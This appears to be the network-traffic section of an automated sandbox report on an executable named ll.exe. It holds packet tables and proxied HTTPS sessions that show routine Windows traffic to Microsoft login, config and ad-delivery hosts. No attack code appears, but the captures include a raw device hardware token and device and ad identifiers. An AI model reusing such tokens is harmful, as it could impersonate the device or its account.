Apr 8, 2022 10:03:39.482588053 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.482798100 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.482822895 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.001656055 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.001796007 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:40.003252983 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:40.003268003 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.003710985 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.004739046 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:40.005203009 CEST804971293.184.220.29192.168.2.3
Apr 8, 2022 10:03:40.005322933 CEST4971280192.168.2.393.184.220.29
Apr 8, 2022 10:03:40.042438030 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.042500973 CEST4435005020.82.210.154192.168.2.3
Apr 8, 2022 10:03:40.042625904 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.042799950 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.042819977 CEST4435005020.82.210.154192.168.2.3
Apr 8, 2022 10:03:40.046206951 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.189049006 CEST4435005020.82.210.154192.168.2.3
Apr 8, 2022 10:03:40.189229965 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.190049887 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.190074921 CEST4435005020.82.210.154192.168.2.3
Apr 8, 2022 10:03:40.195664883 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.195702076 CEST4435005020.82.210.154192.168.2.3
Apr 8, 2022 10:03:40.195939064 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.195955992 CEST4435005020.82.210.154192.168.2.3
Apr 8, 2022 10:03:40.293875933 CEST4435005020.82.210.154192.168.2.3
Apr 8, 2022 10:03:40.294003963 CEST4435005020.82.210.154192.168.2.3
Apr 8, 2022 10:03:40.294004917 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.294090986 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.294126034 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.294158936 CEST4435005020.82.210.154192.168.2.3
Apr 8, 2022 10:03:40.294202089 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.294275999 CEST50050443192.168.2.320.82.210.154
Apr 8, 2022 10:03:40.342571020 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.342619896 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.342658043 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.342765093 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:40.342788935 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.342806101 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:40.342861891 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.342889071 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:40.342906952 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.342948914 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:40.343013048 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.343077898 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:40.354079008 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:40.354118109 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.354134083 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:40.354146004 CEST4435004940.125.122.176192.168.2.3
Apr 8, 2022 10:03:40.420505047 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.420556068 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.423022032 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.423476934 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.423501968 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.516875982 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.516999006 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.517019033 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.517091990 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.527065039 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.527081966 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.527714968 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.528387070 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.570194006 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.617923021 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.617964029 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.618038893 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.618046045 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.618069887 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.618146896 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.640054941 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.640209913 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.640237093 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.640320063 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.660437107 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.660552025 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.660573006 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.660649061 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.660660982 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.660684109 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.660729885 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.660759926 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.660825968 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.660835028 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.660849094 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.660881996 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.660988092 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.661045074 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.661685944 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.661714077 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:40.661724091 CEST50051443192.168.2.320.54.110.249
Apr 8, 2022 10:03:40.661731005 CEST4435005120.54.110.249192.168.2.3
Apr 8, 2022 10:03:41.897605896 CEST50052443192.168.2.340.112.88.60
Apr 8, 2022 10:03:41.897670984 CEST4435005240.112.88.60192.168.2.3
Apr 8, 2022 10:03:41.897866011 CEST50052443192.168.2.340.112.88.60
Apr 8, 2022 10:03:41.898232937 CEST50052443192.168.2.340.112.88.60
Apr 8, 2022 10:03:41.898264885 CEST4435005240.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.047924042 CEST4435005240.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.048063040 CEST50052443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.048578024 CEST50052443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.048599958 CEST4435005240.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.050898075 CEST50052443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.050920963 CEST4435005240.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.114639044 CEST4435005240.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.114765882 CEST4435005240.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.114773989 CEST50052443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.114823103 CEST50052443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.114850998 CEST50052443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.114881992 CEST4435005240.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.114917994 CEST50052443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.114938974 CEST50052443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.117969990 CEST50053443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.118040085 CEST4435005340.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.118169069 CEST50053443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.118392944 CEST50053443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.118418932 CEST4435005340.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.265279055 CEST4435005340.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.265384912 CEST50053443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.266750097 CEST50053443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.266769886 CEST4435005340.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.274972916 CEST50053443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.275000095 CEST4435005340.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.334393024 CEST4435005340.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.334516048 CEST4435005340.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.334626913 CEST50053443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.334733009 CEST50053443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.334774017 CEST4435005340.112.88.60192.168.2.3
Apr 8, 2022 10:03:42.334789038 CEST50053443192.168.2.340.112.88.60
Apr 8, 2022 10:03:42.335776091 CEST50053443192.168.2.340.112.88.60
Apr 8, 2022 10:03:46.395551920 CEST4971280192.168.2.393.184.220.29
Apr 8, 2022 10:03:46.415477037 CEST804971293.184.220.29192.168.2.3
Apr 8, 2022 10:03:46.600492954 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.602391005 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.602459908 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.602586031 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.602819920 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.602844000 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.617666006 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.617711067 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.617785931 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.681391954 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.681602955 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.682347059 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.682440996 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.714106083 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.714140892 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.714610100 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.714698076 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.715377092 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.715426922 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.715440989 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.715512037 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.715565920 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.715707064 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.715787888 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.715925932 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.716006041 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.854775906 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.854899883 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.854932070 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.855004072 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.855009079 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:46.855074883 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.984822989 CEST50054443192.168.2.3204.79.197.200
Apr 8, 2022 10:03:46.984870911 CEST44350054204.79.197.200192.168.2.3
Apr 8, 2022 10:03:55.035681009 CEST50055443192.168.2.320.199.120.182
Apr 8, 2022 10:03:55.035754919 CEST4435005520.199.120.182192.168.2.3
Apr 8, 2022 10:03:55.035845995 CEST50055443192.168.2.320.199.120.182
Apr 8, 2022 10:03:55.036871910 CEST50055443192.168.2.320.199.120.182
Apr 8, 2022 10:03:55.036907911 CEST4435005520.199.120.182192.168.2.3
Apr 8, 2022 10:03:55.148633003 CEST4435005520.199.120.182192.168.2.3
Apr 8, 2022 10:03:55.148745060 CEST50055443192.168.2.320.199.120.182
Apr 8, 2022 10:03:55.151113987 CEST50055443192.168.2.320.199.120.182
Apr 8, 2022 10:03:55.151133060 CEST4435005520.199.120.182192.168.2.3
Apr 8, 2022 10:03:55.151727915 CEST4435005520.199.120.182192.168.2.3
Apr 8, 2022 10:03:55.152771950 CEST50055443192.168.2.320.199.120.182
Apr 8, 2022 10:03:55.152822971 CEST50055443192.168.2.320.199.120.182
Apr 8, 2022 10:03:55.152848959 CEST4435005520.199.120.182192.168.2.3
Apr 8, 2022 10:03:55.152954102 CEST50055443192.168.2.320.199.120.182
Apr 8, 2022 10:03:55.185331106 CEST4435005520.199.120.182192.168.2.3
Apr 8, 2022 10:03:55.185524940 CEST4435005520.199.120.182192.168.2.3
Apr 8, 2022 10:03:55.185807943 CEST50055443192.168.2.320.199.120.182
Apr 8, 2022 10:03:55.186048985 CEST50055443192.168.2.320.199.120.182
Apr 8, 2022 10:03:55.186081886 CEST4435005520.199.120.182192.168.2.3

UDP Packets

TimestampSource PortDest PortSource IPDest IP
Apr 8, 2022 10:01:30.886255980 CEST137137192.168.2.3192.168.2.255
Apr 8, 2022 10:01:31.636706114 CEST137137192.168.2.3192.168.2.255
Apr 8, 2022 10:01:32.402405024 CEST137137192.168.2.3192.168.2.255
Apr 8, 2022 10:01:33.168015003 CEST137137192.168.2.3192.168.2.255
Apr 8, 2022 10:01:33.918370962 CEST137137192.168.2.3192.168.2.255
Apr 8, 2022 10:01:39.199748039 CEST49874274192.168.2.3192.168.2.1
Apr 8, 2022 10:03:34.873001099 CEST138138192.168.2.3192.168.2.255

ICMP Packets

TimestampSource IPDest IPChecksumCodeType
Apr 8, 2022 10:01:39.199822903 CEST192.168.2.1192.168.2.38300(Port unreachable)Destination Unreachable

HTTP Request Dependency Graph

  • login.live.com
  • fs.microsoft.com
  • arc.msn.com
  • img-prod-cms-rt-microsoft-com.akamaized.net
  • sls.update.microsoft.com
  • ris.api.iris.microsoft.com
  • displaycatalog.mp.microsoft.com
  • https:
    • www.bing.com

HTTPS Proxied Packets

Session IDSource IPSource PortDestination IPDestination PortProcess
0192.168.2.34997520.190.160.67443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:14 UTC0OUTPOST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29158.8; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4796
Host: login.live.com
2022-04-08 08:02:14 UTC0OUTData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-04-08 08:02:14 UTC5INHTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 08 Apr 2022 08:01:14 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 94ee6905-7819-4dc6-aa81-1c38db909401
PPServer: PPV: 30 H: BL02EPF0000670C V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 08 Apr 2022 08:02:14 GMT
Connection: close
Content-Length: 11093
2022-04-08 08:02:14 UTC5INData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200


Session IDSource IPSource PortDestination IPDestination PortProcess
1192.168.2.34998023.35.236.56443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:19 UTC16OUTHEAD /fs/windows/config.json HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8
Host: fs.microsoft.com
2022-04-08 08:02:19 UTC16INHTTP/1.1 200 OK
Content-Length: 55
Content-Type: application/octet-stream
Last-Modified: Thu, 20 Apr 2017 16:10:39 GMT
Accept-Ranges: bytes
ETag: "f9c874a7f0b9d21:0"
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=config.json
X-Powered-By: ASP.NET
Cache-Control: public, max-age=222127
Date: Fri, 08 Apr 2022 08:02:19 GMT
Connection: close
X-CID: 2


Session IDSource IPSource PortDestination IPDestination PortProcess
10192.168.2.34998920.82.210.154443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:32 UTC73OUTGET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170231Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=18d6cf97b83f4ce195194e5e6aa953a0&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-280815&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=
Cache-Control: no-cache
MS-CV: BYqskdYKuUKf7ZeJ.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
2022-04-08 08:02:32 UTC75INHTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3067
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: rTF2rjGWtenDA3aEUCcn2eaUHQMP13nKy5fwur8c8fE5X0qwIYLtDMn2yyF4lSAZpKpACb8zuMF6PvTPLvY+g8gqOZZkaVKHDd/TspsTuThll3lCqIWC7qNvc5f6SEDafGCzZ4n36zvg1kSTdZ6LxFiUhBhDkB5S+X4HJ8K9Ad5LezYqzSCoXFILAcrwBmHqCNwDJERaoGIix1mkx+2ci/Ym/CTTPi3jhqAUIvQimqHyWg7YDTMSQIPWv6hus5T7cDNRDlBkzohTsN98T0KAfglWEVapY+NGBlnVw/hXV1N5wBE0X9VYXZQ5Q+3VfUnyqLMkGqDQDuVAqYHps36tow==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 08 Apr 2022 08:02:32 GMT
Connection: close
2022-04-08 08:02:32 UTC76INData Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti


Session IDSource IPSource PortDestination IPDestination PortProcess
11192.168.2.34999020.199.120.85443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:33 UTC79OUTData Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 34 64 35 61 32 64 61 39 33 62 33 36 34 61 0d 0a 0d 0a
Data Ascii: CNT 1 CON 246Context: 6e4d5a2da93b364a
2022-04-08 08:02:33 UTC79OUTData Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
